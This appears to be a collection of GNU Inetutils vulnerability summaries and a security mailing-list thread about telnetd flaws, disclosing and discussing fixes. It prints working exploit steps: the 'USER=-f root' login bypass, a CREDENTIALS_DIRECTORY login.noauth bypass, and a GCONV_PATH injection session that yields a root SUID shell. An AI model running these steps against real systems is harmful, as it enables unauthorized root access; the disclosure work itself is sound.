Buffer overflow in libtelnet/encrypt.c in telnetd in FreeBSD 7.3 through 9.0, MIT Kerberos Version 5 Applications (aka krb5-appl) 1.0.2 and earlier, Heimdal 1.5.1 and earlier, GNU inetutils, and possibly other products allows remote attackers to execute arbitrary code via a long encryption key, as exploited in the wild in December 2011.
GNU InetUtils contains an argument injection vulnerability in telnetd that could allow for remote authentication bypass via a "-f root" value for the USER environment variable.
Last updated 8 June 2026
Last updated 8 June 2026
GNU inetutils before 2.5 may allow privilege escalation because of unchecked return values of setid() family functions in ftpd, rcp, rlogin, rsh, rshd, and uucpd. This is, for example, relevant if the setuid system call fails when a process is trying to drop privileges before letting an ordinary user control the activities of the process.
This vulnerability allows remote attackers to execute arbitrary code on affected installations of GNU Inetutils FTP Client. User interaction is required to exploit this vulnerability in that the target must interact with a malicious FTP server. The specific flaw exists within the processing of filenames. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the current user.
This vulnerability allows remote attackers to execute arbitrary code on affected installations of GNU Inetutils FTP Client. User interaction is required to exploit this vulnerability in that the target must interact with a malicious FTP server. The specific flaw exists within the processing of filenames. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the current user.
GNU Inetutils FTP Client File Retrieval Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of GNU Inetutils FTP Client. User interaction is required to exploit this vulnerability in that the target must interact with a malicious FTP server.
The specific flaw exists within the processing of filenames. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the current user. Was ZDI-CAN-29119.
Buffer overflow in the TFTP client in InetUtils 1.4.2 allows remote malicious DNS servers to execute arbitrary code via a large DNS response that is handled by the gethostbyname function.
telnetd in GNU Inetutils through 2.3, MIT krb5-appl through 1.0.3, and derivative works has a NULL pointer dereference via 0xff 0xf7 or 0xff 0xf8. In a typical installation, the telnetd application would crash but the telnet service would remain available through inetd. However, if the telnetd application has many crashes within a short time interval, the telnet service would become unavailable after inetd logs a "telnet/tcp server failing (looping), service terminated" error. NOTE: MIT krb5-appl is not supported upstream but is shipped by a few Linux distributions. The affected code was removed from the supported MIT Kerberos 5 (aka krb5) product many years ago, at version 1.8.
The ftp client in GNU Inetutils before 2.2 does not validate addresses returned by PASV/LSPV responses to make sure they match the server address. This is similar to CVE-2020-8284 for curl.
This vulnerability allows remote attackers to create a denial-of-service condition on affected installations of GNU Inetutils. Authentication is not required to exploit this vulnerability. The specific flaw exists within the processing of announce requests. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length stack-based buffer. An attacker can leverage this vulnerability to create a denial-of-service condition on the system.
This vulnerability allows remote attackers to create a denial-of-service condition on affected installations of GNU Inetutils. Authentication is not required to exploit this vulnerability. The specific flaw exists within the processing of announce requests. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length stack-based buffer. An attacker can leverage this vulnerability to create a denial-of-service condition on the system.
GNU Inetutils talkd Stack-based Buffer Overflow Denial-of-Service Vulnerability. This vulnerability allows remote attackers to create a denial-of-service condition on affected installations of GNU Inetutils. Authentication is not required to exploit this vulnerability.
The specific flaw exists within the processing of announce requests. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length stack-based buffer. An attacker can leverage this vulnerability to create a denial-of-service condition on the system. Was ZDI-CAN-29120.
Last updated 8 June 2026
[use of uninitialized struct sigaction]
If you are tired of modern age vulnerabilities, and remember the good old times on bugtraq, I hope you will appreciate this one. If someone can allocated a CVE, we will add it in future release notes.
/Simon
GNU InetUtils Security Advisory: remote authentication by-pass in telnetd
The telnetd server invokes /usr/bin/login (normally running as root) passing the value of the USER environment variable received from the client as the last parameter.
If the client supply a carefully crafted USER environment value being the string "-f root", and passes the telnet(1) -a or --login parameter to send this USER environment to the server, the client will be automatically logged in as root bypassing normal authentication processes.
This happens because the telnetd server do not sanitize the USER environment variable before passing it on to login(1), and login(1) uses the -f parameter to by-pass normal authentication.
Severity: High
Vulnerable versions: GNU InetUtils since version 1.9.3 up to and including version 2.7.
Example
On a Trisquel GNU/Linux 11 aramo laptop:
root@kaka:~ sudo apt-get install inetutils-telnetd telnet root@kaka:~ sudo sed -i 's/#<off># telnet/telnet/' /etc/inetd.conf root@kaka:~ sudo /etc/init.d/inetutils-inetd start root@kaka:~ USER='-f root' telnet -a localhost ... root@kaka:~#
History
The bug was introduced in the following commit made on 2015 March 19:
https://codeberg.org/inetutils/inetutils/commit/fa3245ac8c288b87139a0da8249d0a408c4dfb87
Based on mailing list discussions:
https://lists.gnu.org/archive/html/bug-inetutils/2014-12/msg00012.html https://lists.gnu.org/archive/html/bug-inetutils/2015-03/msg00001.html
It was included in the v1.9.3 release made on 2015 May 12.
Recommendation
Do not run a telnetd server at all. Restrict network access to the telnet port to trusted clients.
Apply the patch or upgrade to a newer release which incorporate the patch.
Workaround
Disable telnetd server or make the InetUtils telnetd use a custom login(1) tool that does not permit use of the '-f' parameter.
Further research
The template for invoking login(1) is in telnetd/telnetd.c:
/ Template command line for invoking login program. / char logininvocation = #ifdef SOLARIS10 / TODO: -s telnet' or -s ktelnet'. -u' takes the Kerberos principal name of the authenticating, remote user. / PATHLOGIN " -p -h %h %?T{-t %T} -d %L %?u{-u %u}{%U}" #elif defined SOLARIS / At least for SunOS 5.8. / PATHLOGIN " -h %h %?T{%T} %?u{-- %u}{%U}" #else / !SOLARIS / PATHLOGIN " -p -h %h %?u{-f %u}{%U}" #endif ;
The variable expansion happens in telnetd/utility.c:
/ Expand a variable referenced by its short one-symbol name. Input: exp->cp points to the variable name. FIXME: not implemented / char varshortname (struct lineexpander exp) { char q; char timebuf[64]; timet t; switch (exp->cp++) { case 'a': #ifdef AUTHENTICATION if (authlevel >= 0 && autologin == AUTHVALID) return xstrdup ("ok"); #endif return NULL; case 'd': time (&t); strftime (timebuf, sizeof (timebuf), "%l:%M%p on %A, %d %B %Y", localtime (&t)); return xstrdup (timebuf); case 'h': return xstrdup (remotehostname); case 'l': return xstrdup (localhostname); case 'L': return xstrdup (line); case 't': q = strchr (line + 1, '/'); if (q) q++; else q = line; return xstrdup (q); case 'T': return terminaltype ? xstrdup (terminaltype) : NULL; case 'u': return username ? xstrdup (username) : NULL; case 'U': return getenv ("USER") ? xstrdup (getenv ("USER")) : xstrdup (""); default: exp->state = EXPSTATEERROR; return NULL; } }
Thus there is potential for similar vulnerabilities for other variables.
On non-GNU/Linux systems, only the remote hostname field is of interest. The remotehostname variable is populated in the function telnetdsetup from telnetd/telnetd.c by calling getnameinfo() or gethostbyaddr() depending on platform. This API is generally not considered to return trusted data, thus relying on it to not return a value such as 'foo -f root' is not advisable.
Patch
We chose to sanitize all variables for expansion. The following two patches are what we suggest:
https://codeberg.org/inetutils/inetutils/commit/fd702c02497b2f398e739e3119bed0b23dd7aa7b https://codeberg.org/inetutils/inetutils/commit/ccba9f748aa8d50a38d7748e2e60362edd6a32cc
Credits
This vulnerability was found and reported by Kyu Neushwaistein aka Carlos Cortes Alvarez on 2026-01-19.
Initial patch by Paul Eggert on 2026-01-20. Simon Josefsson improved the patch to also cover similar concerns with other expansions.
This advisory was drafted by Simon Josefsson on 2026-01-20.
...on 2026-01-20 15:00:07, Simon Josefsson wrote: Vulnerable versions: GNU InetUtils since version 1.9.3 up to and including version 2.7. Looking at Debian, this gets even more hilarious... Their changelog for inetutils has: inetutils (2:1.9.4-7) unstable; urgency=medium [..] Take several patches from upstream git master: [..] - 0028-telnetd-Scrub-USER-from-environment.patch
[..] Sat, 16 Feb 2019 18:09:37 +0100 I have not yet spun up a Debian 9 to see if that version was released as an update, but it presumably would have been safe in this regard.
The next entry in their changelog is for Debian 10, inetutils (2:1.9.4-7+deb10u1) buster; urgency=medium
CVE-2020-10188 (Closes: #956084)
[..] Fri, 18 Sep 2020 20:06:42 +0200 That update fixed a remote code execution in telnetd and apparently reintroduced the environment bug yet another time (I tested that Debian 10 telnetd is vulnerable for this and later versions, and also subsequent Debian and Ubuntu releases)...
Alex.
Alexander Bochmann <ab () lists gxis de>, 2026-01-21 00:16: ...on 2026-01-20 15:00:07, Simon Josefsson wrote: Looking at Debian, this gets even more hilarious... Their changelog for inetutils has: inetutils (2:1.9.4-7) unstable; urgency=medium [..] Take several patches from upstream git master: [..] - 0028-telnetd-Scrub-USER-from-environment.patch I think this is unrelated.
The bug is reproducible with inetutils-telnetd 2:1.9.4-7 too.
-- Jakub Wilk
On 1/20/26 09:00, Simon Josefsson wrote: We chose to sanitize all variables for expansion. The following two patches are what we suggest:
https://codeberg.org/inetutils/inetutils/commit/fd702c02497b2f398e739e3119bed0b23dd7aa7b https://codeberg.org/inetutils/inetutils/commit/ccba9f748aa8d50a38d7748e2e60362edd6a32cc If a variable expands to an empty value, will the subsequent code remove the command-line argument entirely, rather than passing an empty string? Or should an empty string be treated as an error?
Also, would an allowlist be better than a denylist? -- Sincerely, Demi Marie Obenour (she/her/hers)
USER='-f root' telnet -a localhost Seems that the same code path results from the even simpler incantation:
$ telnet -l 'root -f' server.test
The user-name-with-a-space-in-it doesn't get passed as a single argument to execv(), but "helpfully" gets split back into two parts and passed to execv() as two separate entries in argv[] :-)
Q. "Hey, if we call execv() directly, we'll avoid some of the risks associated with shell-style command line processing. How good is that?"
A. "Hold my beer."
TELNET, eh? From the days when RFCs still had just three digits...
Greetings,
I have been reviewing the recent vulnerability report by Ron Ben Yizhak regarding CREDENTIALSDIRECTORY, as well as commit 4db2f19f which introduces unsetenv("CREDENTIALSDIRECTORY") to address the problem.
After becoming aware of CVE-2026-24061 (telnetd in GNU Inetutils through 2.7 allows remote authentication bypass via a "-f root" value for the USER environment variable), I was curious to find out whether there'd also been a potential regression of CVE-1999-0073, described as: telnet allows a remote client to specify environment variables including LDLIBRARYPATH, allowing an attacker to bypass the normal system libraries and gain root access. I can confirm that this is still an issue 27 years later, despite attempts at blacklisting environment variables by prefix or full name.
The problem stems from telnetd executing /bin/login in a root-to-root context, which means that ATSECURE is set to 0 by the kernel in the process's auxiliary vector. When ATSECURE holds a positive value, it informs the dynamic linker (ld-linux.so) and libc to enter a "secure-execution mode" where a bunch of interesting environment variables are discarded or, at least, defanged if present. In other words, the responsibility is on telnetd itself to ensure that none of those potentially interesting, and attacker controlled, variables make their way to /bin/login.
While using unsetenv() negates a user's ability to exploit the login.noauth vector, the possibility still exists for the inclusion of variables of interest to GNU gettext (such as OUTPUTCHARSET or LANGUAGE) and glibc (such as GCONVPATH) via the telnet protocol itself.
For example, by injecting OUTPUTCHARSET and LANGUAGE, an attacker can persuade gettext that a character set conversion is necessary. This forces gettext to call libc's iconvopen(), and because ATSECURE is 0, iconvopen() will use an injected GCONVPATH in its quest for a gconv-modules file. Assuming the attacker already has a local unprivileged account, or at least a means of uploading files to the host (and knowing the location of the uploaded files), a custom gconv-modules file will allow arbitrary shared objects to be loaded soon after /bin/login attempts to print a localized prompt.
For proof of concept, I've declared a broad selection of LANGUAGE codes for the best chance of matching an installed locale. An attacker with local access could simply determine what's actually installed and select only one that doesn't match the system's default locale instead. Similarly, OUTPUTCHARSET has been chosen as a deliberate mismatch against the very common choice of UTF-8:
abuser@prospecton.hyperama:~$ ls -al .gconv total 184 drwxr-xr-x 2 abuser abuser 4096 Jan 1 1970 . drwxr-x--- 5 abuser abuser 36864 Jan 1 1970 .. -rw-r--r-- 1 abuser abuser 256 Jan 1 1970 gconv-modules -rw-r--r-- 1 abuser abuser 15568 Jan 1 1970 libcash2trash.so
abuser@prospecton.hyperama:~$ telnet -l abuser telnet> environ define GCONVPATH /home/abuser/.gconv telnet> environ export GCONVPATH telnet> environ define LANGUAGE fr:de:es:it:pt:nl:sv:pl:uk:ru:zhCN:ko:ja telnet> environ export LANGUAGE telnet> environ define OUTPUTCHARSET ISO-8859-1 telnet> environ export OUTPUTCHARSET telnet> open 127.0.0.1 Trying 127.0.0.1... Connected to 127.0.0.1. Escape character is '^]'. Linux (localhost) (pts/6) Connection closed by foreign host.
abuser@prospecton.hyperama:~$ ls -al .gconv total 184 drwxr-xr-x 2 abuser abuser 4096 Jan 1 1970 . drwxr-x--- 5 abuser abuser 36864 Jan 1 1970 .. -rw-r--r-- 1 abuser abuser 256 Jan 1 1970 gconv-modules -rw-r--r-- 1 abuser abuser 15568 Jan 1 1970 libcash2trash.so -rwsr-sr-x 1 root root 125640 Jan 1 1970 trash
abuser@prospecton.hyperama:~$ .gconv/trash -p # id uid=1001(abuser) gid=1002(abuser) euid=0(root) egid=0(root) groups=0(root),1002(abuser)
Once the telnet connection opens, /bin/login tries to print the localized prompt but gettext recognizes the encoding mismatch and calls iconvopen() to parse the gconv-modules file in the directory referenced by the injected path before loading the shared object that turns cash ($) to trash (#). The connection drops because I included a call to exit() once the payload has executed. As illustrated above, the payload effectively asserts root privilege and makes a copy of /bin/sh with SUID/SGID permissions. Note that no authentication via telnetd was required, nor performed, for this privilege escalation trick to occur. Also note that this is just one of many possible methods that may be used to exploit this condition.
In my opinion, to fix this issue and finally put the ghost of CVE-1999-0073 to rest: telnetd must drop the blacklist approach and adopt the OpenSSH AcceptEnv-style approach suggested by Simon Josefsson [1], which amounts to preparing a brand new environment for /bin/login based on a strict whitelist of variables names considered to be "safe", and perhaps a healthy dose of input sanitization for their respective values.
In terms of the CVE that Ron Ben Yizhak had asked about earlier in the thread: I think it might make the most sense to co-ordinate a single CVE for "Improper environment sanitization in telnetd" that comprehensively covers both the CREDENTIALSDIRECTORY vector and this dynamic linker escape.
I'm happy to share the intentionally redacted payload privately with the maintainers should any help be required to reproduce the proof of concept.
Regards, Justin
---
[1] https://lists.gnu.org/archive/html/bug-inetutils/2026-02/msg00002.html
Hi,
Thank you for bringing this to oss-security, Justin!
On Tue, Feb 24, 2026 at 03:17:02AM +0200, Justin Swartz wrote: I have been reviewing the recent vulnerability report by Ron Ben Yizhak regarding CREDENTIALSDIRECTORY, as well as commit 4db2f19f which introduces unsetenv("CREDENTIALSDIRECTORY") to address the problem. Looks like this wasn't reported to oss-security yet, so let me do that now. Ron Ben Yizhak's report is here:
https://lists.gnu.org/archive/html/bug-inetutils/2026-02/msg00000.html
and I quote it in full below: From: Ron Ben Yizhak Subject: Telnetd Vulnerability Report Date: Thu, 5 Feb 2026 14:39:57 +0200
Hello,
My name is Ron Ben Yizhak and I am a security researcher from SafeBreach.
I want to report a severe vulnerability that I found in telnetd from the repository https://codeberg.org/inetutils/inetutils
After the vulnerability CVE-2026-24061 was fixed, it was no longer possible to force telnetd to execute /usr/bin/login with the parameter -f and skip the authentication. However the research on CVE-2026-24061 revealed that telnetd allows clients to set environment variables for the telnetd process itself and for all its sub processes. One of its processes as we know from CVE-2026-24061, is /usr/bin/login.
This is the root cause of the vulnerability I’m reporting to you. Setting environment variables as a remote telnet client enables us to spawn /usr/bin/login with the environment variable “CREDENTIALSDIRECTORY”. This will make the process search for a file named “login.noauth” in the directory specified by “CREDENTIALSDIRECTORY”. If the file contains the string “yes”, login will skip the authentication and provide a shell for the client running as the user the client specified. It can be any user, even root.
https://github.com/util-linux/util-linux/blob/master/login-utils/login.c#L1306
Attached to this mail is a video demonstrating the vulnerability on a fully patched ubuntu 25 machine with the latest telnetd. Also attached is a script to test this vulnerability
Usage:
1. create a directory as a low privileged user, for example /home/weakuser/fakecred
2. create a file named login.noauth containing the string “yes” inside this directory
3. launch the python script with the following parameters
./telnetlpe.py 127.0.0.1 --env CREDENTIALSDIRECTORY=/home/weakuser/fakecred --env USER=root
Best regards, Ron Ben Yizhak
Attachment: telnetlpe.py Description: Text Data
Attachment: telnetlpedemo.mp4 Description: video/mp4 I'm re-attaching telnetlpe.py, but not the video.
On Tue, Feb 24, 2026 at 03:17:02AM +0200, Justin Swartz wrote: After becoming aware of CVE-2026-24061 (telnetd in GNU Inetutils through 2.7 allows remote authentication bypass via a "-f root" value for the USER environment variable), I was curious to find out whether there'd also been a potential regression of CVE-1999-0073, described as: telnet allows a remote client to specify environment variables including LDLIBRARYPATH, allowing an attacker to bypass the normal system libraries and gain root access. I can confirm that this is still an issue 27 years later, despite attempts at blacklisting environment variables by prefix or full name.
The problem stems from telnetd executing /bin/login in a root-to-root context, which means that ATSECURE is set to 0 by the kernel in the process's auxiliary vector. When ATSECURE holds a positive value, it informs the dynamic linker (ld-linux.so) and libc to enter a "secure-execution mode" where a bunch of interesting environment variables are discarded or, at least, defanged if present. In other words, the responsibility is on telnetd itself to ensure that none of those potentially interesting, and attacker controlled, variables make their way to /bin/login.
While using unsetenv() negates a user's ability to exploit the login.noauth vector, the possibility still exists for the inclusion of variables of interest to GNU gettext (such as OUTPUTCHARSET or LANGUAGE) and glibc (such as GCONVPATH) via the telnet protocol itself.
For example, by injecting OUTPUTCHARSET and LANGUAGE, an attacker can persuade gettext that a character set conversion is necessary. This forces gettext to call libc's iconvopen(), and because ATSECURE is 0, iconvopen() will use an injected GCONVPATH in its quest for a gconv-modules file. Assuming the attacker already has a local unprivileged account, or at least a means of uploading files to the host (and knowing the location of the uploaded files), a custom gconv-modules file will allow arbitrary shared objects to be loaded soon after /bin/login attempts to print a localized prompt.
For proof of concept, I've declared a broad selection of LANGUAGE codes for the best chance of matching an installed locale. An attacker with local access could simply determine what's actually installed and select only one that doesn't match the system's default locale instead. Similarly, OUTPUTCHARSET has been chosen as a deliberate mismatch against the very common choice of UTF-8:
abuser@prospecton.hyperama:~$ ls -al .gconv total 184 drwxr-xr-x 2 abuser abuser 4096 Jan 1 1970 . drwxr-x--- 5 abuser abuser 36864 Jan 1 1970 .. -rw-r--r-- 1 abuser abuser 256 Jan 1 1970 gconv-modules -rw-r--r-- 1 abuser abuser 15568 Jan 1 1970 libcash2trash.so
abuser@prospecton.hyperama:~$ telnet -l abuser telnet> environ define GCONVPATH /home/abuser/.gconv telnet> environ export GCONVPATH telnet> environ define LANGUAGE fr:de:es:it:pt:nl:sv:pl:uk:ru:zhCN:ko:ja telnet> environ export LANGUAGE telnet> environ define OUTPUTCHARSET ISO-8859-1 telnet> environ export OUTPUTCHARSET telnet> open 127.0.0.1 Trying 127.0.0.1... Connected to 127.0.0.1. Escape character is '^]'. Linux (localhost) (pts/6) Connection closed by foreign host.
abuser@prospecton.hyperama:~$ ls -al .gconv total 184 drwxr-xr-x 2 abuser abuser 4096 Jan 1 1970 . drwxr-x--- 5 abuser abuser 36864 Jan 1 1970 .. -rw-r--r-- 1 abuser abuser 256 Jan 1 1970 gconv-modules -rw-r--r-- 1 abuser abuser 15568 Jan 1 1970 libcash2trash.so -rwsr-sr-x 1 root root 125640 Jan 1 1970 trash
abuser@prospecton.hyperama:~$ .gconv/trash -p # id uid=1001(abuser) gid=1002(abuser) euid=0(root) egid=0(root) groups=0(root),1002(abuser)
Once the telnet connection opens, /bin/login tries to print the localized prompt but gettext recognizes the encoding mismatch and calls iconvopen() to parse the gconv-modules file in the directory referenced by the injected path before loading the shared object that turns cash ($) to trash (#). The connection drops because I included a call to exit() once the payload has executed. As illustrated above, the payload effectively asserts root privilege and makes a copy of /bin/sh with SUID/SGID permissions. Note that no authentication via telnetd was required, nor performed, for this privilege escalation trick to occur. Also note that this is just one of many possible methods that may be used to exploit this condition.
In my opinion, to fix this issue and finally put the ghost of CVE-1999-0073 to rest: telnetd must drop the blacklist approach and adopt the OpenSSH AcceptEnv-style approach suggested by Simon Josefsson [1], which amounts to preparing a brand new environment for /bin/login based on a strict whitelist of variables names considered to be "safe", and perhaps a healthy dose of input sanitization for their respective values. Oh, sure. A couple of decades ago I ported OpenBSD's telnet and telnetd to Linux for our distro, Owl. I no longer recalled all detail, but looking at my "Linux port" patch now, it appears to implement a strict allow-list approach already. There's a comment saying the "list comes from Linux NetKit telnetd, version 0.17", so maybe NetKit already used that approach too, and Linux distros got a regression by switching from NetKit to InetUtils? Or it could be that Red Hat used NetKit and Debian went with InetUtils. I see I'm also lightly sanitizing env var values (only for not containing '/' and being of sane length), which I doubt was in NetKit.
My very first RPM changelog entry was:
Sat Nov 17 2001 Solar Designer <solar-at-owl.openwall.com> - Ported the telnet client and server from OpenBSD-current (post-3.0), reviewing changes made in NetBSD-current, FreeBSD-current, and Linux NetKit 0.17. - Filter environment variables in telnetd with a white list (took the list itself from NetKit), but also use a black list for logging likely attacks. - Dropped the "mini inetd" from telnetd. - Dropped Kerberos-related pieces from the man pages (the telnet stuff is already bad enough, let's better not add to that). - Wrote telnetd.xinetd. - Wrote this spec file, based (sub)package descriptions on Red Hat's.
So at least OpenBSD was at risk, relying on their badenvtable being comprehensive. Probably other BSDs too.
Perhaps non-Linux systems that still have telnetd also still have this weakness, and you could find specific env vars/values that would work for them?
There was also a symmetric problem where a malicious server could request arbitrary env vars from the telnet client, obtaining sensitive information. This too was promptly fixed in my port:
Wed Nov 21 2001 Solar Designer <solar-at-owl.openwall.com> [...] - Added a Red Hat Linux derived patch to the telnet client such that it permits queries for exported variables only.
... so apparently it had been fixed in Red Hat Linux, but not BSDs.
Further, I implemented privsep:
Sun Nov 25 2001 Solar Designer <solar-at-owl.openwall.com> - Do telnet protocol handling as a dedicated pseudo-user and in a chroot jail. This uses the approach introduced by Chris Evans in his NetKit telnetd patches, but the code is different.
Architecture diagram:
https://www.openwall.com/presentations/Owl/mgp00017.html
Patches against OpenBSD telnet/telnetd:
https://github.com/openwall/Owl/tree/main/packages/telnet
Tarball with the OpenBSD code to be patched:
https://download.openwall.net/pub/Owl/pool/sources/telnet/
This can be revitalized and used to replace the code currently in InetUtils if anyone is willing to invest significant time into that. In terms of the CVE that Ron Ben Yizhak had asked about earlier in the thread: I think it might make the most sense to co-ordinate a single CVE for "Improper environment sanitization in telnetd" that comprehensively covers both the CREDENTIALSDIRECTORY vector and this dynamic linker escape. So essentially a new CVE for improper/incomplete fix of CVE-1999-0073, emphasizing that only an allow list is considered a proper fix of the new CVE. Makes sense to me. I'm happy to share the intentionally redacted payload privately with the maintainers should any help be required to reproduce the proof of concept.
Regards, Justin
---
[1] https://lists.gnu.org/archive/html/bug-inetutils/2026-02/msg00002.html Thank you both for taking a fresh look and sharing these findings.
Alexander
Hi all,
I’d like to ensure we follow the standard CVE process here. Standard practice dictates that a CVE is issued per individual fix. Generally, once a fix is merged and released, it is assigned its own CVE. Even if that fix is later bypassed, the original merge stands as a unique event in the codebase, meaning we should issue two separate CVEs rather than grouping them.
Justin - Thank you for emphasizing what I already noted previously in this thread:
"In my opinion the proposed fix will stop this exploit, but the main issue stays. The issue exists as long as unauthenticated clients can set arbitrary environment variables in the memory of telnetd and its sub processes. The best solution will be that the environment variables set by the client will only apply on the shell process and only after the client has already authenticated. No process running as root should run with any environment variables set by the client."
In spite of this opinion, it seems that the decision of the developers was to first release something quick that will as least start by mitigating the specific exploit that I shared, even though the main issue remains. I guess that a concrete exploit that utilizes different environment variables might change the prioritization for implementing an "AcceptEnv-like" logic in GNU telnetd, but they might choose to just unset the environment variables that you find as exploitable.
Best regards, Ron Ben Yizhak
On Tue, Feb 24, 2026 at 3:16 AM Justin Swartz < justin.swartz () risingedge co za> wrote: Greetings,
I have been reviewing the recent vulnerability report by Ron Ben Yizhak regarding CREDENTIALSDIRECTORY, as well as commit 4db2f19f which introduces unsetenv("CREDENTIALSDIRECTORY") to address the problem.
After becoming aware of CVE-2026-24061 (telnetd in GNU Inetutils through 2.7 allows remote authentication bypass via a "-f root" value for the USER environment variable), I was curious to find out whether there'd also been a potential regression of CVE-1999-0073, described as: telnet allows a remote client to specify environment variables including LDLIBRARYPATH, allowing an attacker to bypass the normal system libraries and gain root access. I can confirm that this is still an issue 27 years later, despite attempts at blacklisting environment variables by prefix or full name.
The problem stems from telnetd executing /bin/login in a root-to-root context, which means that ATSECURE is set to 0 by the kernel in the process's auxiliary vector. When ATSECURE holds a positive value, it informs the dynamic linker (ld-linux.so) and libc to enter a "secure-execution mode" where a bunch of interesting environment variables are discarded or, at least, defanged if present. In other words, the responsibility is on telnetd itself to ensure that none of those potentially interesting, and attacker controlled, variables make their way to /bin/login.
While using unsetenv() negates a user's ability to exploit the login.noauth vector, the possibility still exists for the inclusion of variables of interest to GNU gettext (such as OUTPUTCHARSET or LANGUAGE) and glibc (such as GCONVPATH) via the telnet protocol itself.
For example, by injecting OUTPUTCHARSET and LANGUAGE, an attacker can persuade gettext that a character set conversion is necessary. This forces gettext to call libc's iconvopen(), and because ATSECURE is 0, iconvopen() will use an injected GCONVPATH in its quest for a gconv-modules file. Assuming the attacker already has a local unprivileged account, or at least a means of uploading files to the host (and knowing the location of the uploaded files), a custom gconv-modules file will allow arbitrary shared objects to be loaded soon after /bin/login attempts to print a localized prompt.
For proof of concept, I've declared a broad selection of LANGUAGE codes for the best chance of matching an installed locale. An attacker with local access could simply determine what's actually installed and select only one that doesn't match the system's default locale instead. Similarly, OUTPUTCHARSET has been chosen as a deliberate mismatch against the very common choice of UTF-8:
abuser@prospecton.hyperama:~$ ls -al .gconv total 184 drwxr-xr-x 2 abuser abuser 4096 Jan 1 1970 . drwxr-x--- 5 abuser abuser 36864 Jan 1 1970 .. -rw-r--r-- 1 abuser abuser 256 Jan 1 1970 gconv-modules -rw-r--r-- 1 abuser abuser 15568 Jan 1 1970 libcash2trash.so
abuser@prospecton.hyperama:~$ telnet -l abuser telnet> environ define GCONVPATH /home/abuser/.gconv telnet> environ export GCONVPATH telnet> environ define LANGUAGE fr:de:es:it:pt:nl:sv:pl:uk:ru:zhCN:ko:ja telnet> environ export LANGUAGE telnet> environ define OUTPUTCHARSET ISO-8859-1 telnet> environ export OUTPUTCHARSET telnet> open 127.0.0.1 Trying 127.0.0.1... Connected to 127.0.0.1. Escape character is '^]'.
Linux (localhost) (pts/6)
Connection closed by foreign host.
abuser@prospecton.hyperama:~$ ls -al .gconv total 184 drwxr-xr-x 2 abuser abuser 4096 Jan 1 1970 . drwxr-x--- 5 abuser abuser 36864 Jan 1 1970 .. -rw-r--r-- 1 abuser abuser 256 Jan 1 1970 gconv-modules -rw-r--r-- 1 abuser abuser 15568 Jan 1 1970 libcash2trash.so -rwsr-sr-x 1 root root 125640 Jan 1 1970 trash
abuser@prospecton.hyperama:~$ .gconv/trash -p # id uid=1001(abuser) gid=1002(abuser) euid=0(root) egid=0(root) groups=0(root),1002(abuser)
Once the telnet connection opens, /bin/login tries to print the localized prompt but gettext recognizes the encoding mismatch and calls iconvopen() to parse the gconv-modules file in the directory referenced by the injected path before loading the shared object that turns cash ($) to trash (#). The connection drops because I included a call to exit() once the payload has executed. As illustrated above, the payload effectively asserts root privilege and makes a copy of /bin/sh with SUID/SGID permissions. Note that no authentication via telnetd was required, nor performed, for this privilege escalation trick to occur. Also note that this is just one of many possible methods that may be used to exploit this condition.
In my opinion, to fix this issue and finally put the ghost of CVE-1999-0073 to rest: telnetd must drop the blacklist approach and adopt the OpenSSH AcceptEnv-style approach suggested by Simon Josefsson [1], which amounts to preparing a brand new environment for /bin/login based on a strict whitelist of variables names considered to be "safe", and perhaps a healthy dose of input sanitization for their respective values.
In terms of the CVE that Ron Ben Yizhak had asked about earlier in the thread: I think it might make the most sense to co-ordinate a single CVE for "Improper environment sanitization in telnetd" that comprehensively covers both the CREDENTIALSDIRECTORY vector and this dynamic linker escape.
I'm happy to share the intentionally redacted payload privately with the maintainers should any help be required to reproduce the proof of concept.
Regards, Justin
---
[1] https://lists.gnu.org/archive/html/bug-inetutils/2026-02/msg00002.html
Who uses telnet anyway? It's deprecated. Everyone uses ssh for any kind of remote access.
On Tuesday, February 24th, 2026 at 7:51 AM, Justin Swartz <justin.swartzatrisingedge.co.zakf503bla () duck com> wrote: Greetings,
I have been reviewing the recent vulnerability report by Ron Ben Yizhak regarding CREDENTIALSDIRECTORY, as well as commit 4db2f19f which introduces unsetenv("CREDENTIALSDIRECTORY") to address the problem.
After becoming aware of CVE-2026-24061 (telnetd in GNU Inetutils through 2.7 allows remote authentication bypass via a "-f root" value for the USER environment variable), I was curious to find out whether there'd also been a potential regression of CVE-1999-0073, described as: telnet allows a remote client to specify environment variables including LDLIBRARYPATH, allowing an attacker to bypass the normal system libraries and gain root access. I can confirm that this is still an issue 27 years later, despite attempts at blacklisting environment variables by prefix or full name.
The problem stems from telnetd executing /bin/login in a root-to-root context, which means that ATSECURE is set to 0 by the kernel in the process's auxiliary vector. When ATSECURE holds a positive value, it informs the dynamic linker (ld-linux.so) and libc to enter a "secure-execution mode" where a bunch of interesting environment variables are discarded or, at least, defanged if present. In other words, the responsibility is on telnetd itself to ensure that none of those potentially interesting, and attacker controlled, variables make their way to /bin/login.
While using unsetenv() negates a user's ability to exploit the login.noauth vector, the possibility still exists for the inclusion of variables of interest to GNU gettext (such as OUTPUTCHARSET or LANGUAGE) and glibc (such as GCONVPATH) via the telnet protocol itself.
For example, by injecting OUTPUTCHARSET and LANGUAGE, an attacker can persuade gettext that a character set conversion is necessary. This forces gettext to call libc's iconvopen(), and because ATSECURE is 0, iconvopen() will use an injected GCONVPATH in its quest for a gconv-modules file. Assuming the attacker already has a local unprivileged account, or at least a means of uploading files to the host (and knowing the location of the uploaded files), a custom gconv-modules file will allow arbitrary shared objects to be loaded soon after /bin/login attempts to print a localized prompt.
For proof of concept, I've declared a broad selection of LANGUAGE codes for the best chance of matching an installed locale. An attacker with local access could simply determine what's actually installed and select only one that doesn't match the system's default locale instead. Similarly, OUTPUTCHARSET has been chosen as a deliberate mismatch against the very common choice of UTF-8:
